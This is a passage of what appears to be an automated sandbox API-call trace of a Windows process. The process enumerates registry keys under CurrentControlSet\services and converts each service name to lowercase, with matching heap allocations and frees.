lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x1de44e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0256.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.368] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.368] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.368] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.368] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0256.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0256.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.368] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.368] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.368] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.368] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0256.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0256.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.368] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.368] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.368] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.368] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0256.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0256.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.368] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.368] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.368] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.368] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0256.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0256.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x1de44e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0256.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.369] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.369] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.369] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.369] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x164) returned 0x0 [0256.369] RegCloseKey (hKey=0x154) returned 0x0 [0256.369] RegEnumKeyW (in: hKey=0x164, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0256.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0256.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.369] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.369] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.369] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.369] RegEnumKeyW (in: hKey=0x164, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0256.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x1de44e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0256.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.369] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.369] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.369] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.369] RegEnumKeyW (in: hKey=0x164, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0256.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0256.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x1de4450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0256.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.370] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.370] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.370] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.370] RegEnumKeyW (in: hKey=0x164, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0256.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0256.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.370] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.370] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.370] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.370] RegEnumKeyW (in: hKey=0x164, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="services") returned 0x0 [0256.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0256.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.370] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.370] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.370] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.370] RegOpenKeyExW (in: hKey=0x164, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0256.370] RegCloseKey (hKey=0x164) returned 0x0 [0256.370] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0256.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x1de44e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0256.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.371] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.371] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.371] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.371] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0256.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0256.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x1de4450, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0256.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.371] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.371] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.371] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.371] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0256.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0256.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x1de44e0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0256.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.371] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.371] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.371] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.371] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0256.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0256.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x1de4450, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0256.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.371] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.371] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.371] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.371] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0256.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0256.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x1de44e0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0256.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.372] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.372] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.372] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.372] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0256.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0256.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x1de4450, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0256.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.372] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.372] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.372] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.372] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0256.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1de44e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0256.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.372] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.372] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.372] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.372] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0256.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0256.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.372] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.373] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.373] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0256.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x1de44e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0256.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.373] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.373] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.373] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0256.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0256.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.373] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.373] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.373] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0256.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0256.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x1de44e0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0256.373] RtlAllocateHeap (HeapHandle=0x580000, 